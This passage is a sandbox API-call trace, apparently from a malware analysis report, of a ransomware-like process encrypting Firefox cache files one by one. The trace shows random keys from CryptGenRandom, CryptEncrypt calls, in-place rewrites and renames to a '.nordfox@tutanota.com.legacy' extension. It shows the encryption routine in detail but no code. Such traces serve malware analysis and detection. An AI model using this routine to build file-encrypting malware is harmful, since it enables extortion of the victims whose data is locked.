lpBuffer=0x30dd9c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd9c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.232] CloseHandle (hObject=0x1b80) returned 1 [0188.275] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53dae4b1d7bff6744ccaf7207de631267f9883dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53dae4b1d7bff6744ccaf7207de631267f9883dc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd6a8 | out: pbBuffer=0x30dd6a8) returned 1 [0188.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.278] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85", dwFileAttributes=0x80) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ddac8 [0188.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53276735904df669a90b5f1543e4fbb2a1927e85"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.278] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0188.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f3888 [0188.278] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0188.283] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.284] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0188.284] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0188.284] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.284] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.284] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd6a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd6a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.284] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.284] CloseHandle (hObject=0x1b80) returned 1 [0188.284] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53276735904df669a90b5f1543e4fbb2a1927e85"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53276735904df669a90b5f1543e4fbb2a1927e85.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddde0 | out: pbBuffer=0x30ddde0) returned 1 [0188.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0188.286] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458", dwFileAttributes=0x80) returned 1 [0188.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd288 [0188.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\52da3baa6d4d709b01d171773ad7b03240f54458"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.287] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2926) returned 1 [0188.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6e) returned 0x30f3888 [0188.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6e) returned 0x30f4400 [0188.287] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb6e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb6e, lpOverlapped=0x0) returned 1 [0188.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.288] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4400*, nNumberOfBytesToWrite=0xb6e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4400*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb6e, lpOverlapped=0x0) returned 1 [0188.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb6e [0188.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddde0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.288] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddde0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddde0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.289] CloseHandle (hObject=0x1b80) returned 1 [0188.289] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\52da3baa6d4d709b01d171773ad7b03240f54458"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\52da3baa6d4d709b01d171773ad7b03240f54458.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd6a8 | out: pbBuffer=0x30dd6a8) returned 1 [0188.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.290] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3", dwFileAttributes=0x80) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd288 [0188.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\529cd0d4c166c4989baaba7e5ff50f75fb1d22d3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.291] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3580) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfc) returned 0x30f3888 [0188.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfc) returned 0x30f4690 [0188.291] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0188.292] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.292] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0188.292] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfc [0188.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.293] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd6a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd6a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.293] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.293] CloseHandle (hObject=0x1b80) returned 1 [0188.293] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\529cd0d4c166c4989baaba7e5ff50f75fb1d22d3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\529cd0d4c166c4989baaba7e5ff50f75fb1d22d3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd288 | out: pbBuffer=0x30dd288) returned 1 [0188.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.295] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A", dwFileAttributes=0x80) returned 1 [0188.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd5a0 [0188.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.295] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\522ff036651fea29f227bfb14bd934175ddba62a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.295] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3623) returned 1 [0188.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe27) returned 0x30f3888 [0188.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe27) returned 0x30f46b8 [0188.296] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0188.297] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.297] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46b8*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0188.297] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe27 [0188.297] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.297] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd288*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd288*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.297] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd288*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd288*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.297] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.297] CloseHandle (hObject=0x1b80) returned 1 [0188.297] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\522ff036651fea29f227bfb14bd934175ddba62a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\522ff036651fea29f227bfb14bd934175ddba62a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd180 | out: pbBuffer=0x30dd180) returned 1 [0188.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.299] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F", dwFileAttributes=0x80) returned 1 [0188.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd288 [0188.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.299] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\514d7c625328106e43cec7fd7cf71aeda0a3101f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.300] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1043) returned 1 [0188.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x413) returned 0x619c48 [0188.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x413) returned 0x30f3888 [0188.300] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x413, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x413, lpOverlapped=0x0) returned 1 [0188.321] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1043, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.321] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x413, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x413, lpOverlapped=0x0) returned 1 [0188.321] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x413 [0188.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd180*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd180*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.321] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd180*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd180*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.322] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.322] CloseHandle (hObject=0x1b80) returned 1 [0188.322] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\514d7c625328106e43cec7fd7cf71aeda0a3101f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\514d7c625328106e43cec7fd7cf71aeda0a3101f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ddac8 | out: pbBuffer=0x30ddac8) returned 1 [0188.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0188.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15", dwFileAttributes=0x80) returned 1 [0188.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd9c0 [0188.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.325] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\50368cb52eb7460247084562523d1ae6e2d6ff15"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.326] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5720) returned 1 [0188.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1658) returned 0x30f3888 [0188.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1658) returned 0x30f4ee8 [0188.326] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1658, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1658, lpOverlapped=0x0) returned 1 [0188.369] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.369] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4ee8*, nNumberOfBytesToWrite=0x1658, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4ee8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1658, lpOverlapped=0x0) returned 1 [0188.369] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1658 [0188.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ddac8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.370] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ddac8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ddac8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.370] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, 